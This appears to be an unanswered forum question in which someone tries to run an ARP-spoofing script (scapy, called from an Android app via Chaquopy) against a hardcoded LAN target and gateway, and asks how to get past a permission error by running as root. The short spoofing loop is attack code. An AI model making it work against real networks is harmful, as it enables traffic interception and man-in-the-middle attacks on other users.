Chaquo with scapy

Viewed 23

i'm trying to make arpspoofing with android studio and python. This is the python script:

from scapy.all import *
from scapy.layers.l2 import ARP,Ether
import os



def spoofarpcache(targetip,targetmac,sourceip):
    os.environ["PATH"] = ":".join([p for p in os.environ["PATH"].split(":")
                                   if os.access(p, os.R_OK | os.X_OK)])
    spoofed = ARP(op=2, pdst=targetip,psrc= sourceip,hwdst=targetmac)
    while True:
        send(spoofed, verbose=False)

This is the java:

 TextView textView = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    textView = (TextView) findViewById(R.id.titles);
    if(!Python.isStarted())
        Python.start(new AndroidPlatform((this)));

    Python py = Python.getInstance();

    PyObject pyobj = py.getModule("script");

    PyObject obj = pyobj.callAttr("spoofarpcache", "192.168.1.246","a4:83:e7:54:17:7c","192.168.1.1");
    Context context = getApplicationContext();
    WifiManager wm = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
    String ip = Formatter.formatIpAddress(wm.getConnectionInfo().getIpAddress());

    textView.setText("The resault its: " + obj.toString() + " " + ip);
}

and i'm getting permission denied error:

E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.ilay.myfinalproject, PID: 18110
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.ilay.myfinalproject/com.ilay.myfinalproject.MainActivity}: com.chaquo.python.PyException: PermissionError: [Errno 13] Permission denied
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3270)
    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3409)
    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:83)
    at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:135)
    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95)
    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2016)
    at android.os.Handler.dispatchMessage(Handler.java:107)
    at android.os.Looper.loop(Looper.java:214)
    at android.app.ActivityThread.main(ActivityThread.java:7356)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492)
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)
 Caused by: com.chaquo.python.PyException: PermissionError: [Errno 13] Permission denied
    at <python>.socket.__init__(socket.py:231)
    at <python>.scapy.arch.linux.__init__(linux.py:486)
    at <python>.scapy.sendrecv._send(sendrecv.py:394)
    at <python>.scapy.sendrecv.send(sendrecv.py:425)
    at <python>.script.spoofarpcache(script.py:13)
    at <python>.chaquopy_java.call(chaquopy_java.pyx:380)
    at <python>.chaquopy_java.Java_com_chaquo_python_PyObject_callAttrThrowsNative(chaquopy_java.pyx:352)
    at com.chaquo.python.PyObject.callAttrThrowsNative(Native Method)
    at com.chaquo.python.PyObject.callAttrThrows(PyObject.java:232)
    at com.chaquo.python.PyObject.callAttr(PyObject.java:221)
    at com.ilay.myfinalproject.MainActivity.onCreate(MainActivity.java:30)
    at android.app.Activity.performCreate(Activity.java:7802)
    at android.app.Activity.performCreate(Activity.java:7791)
    at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1299)
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3245)

i have tried to add permisions. after short review in the internet i found as a solution that i need to run the app as a root but i dont know how to do it and i dont know if it will work

Please helppp

0 Answers
Related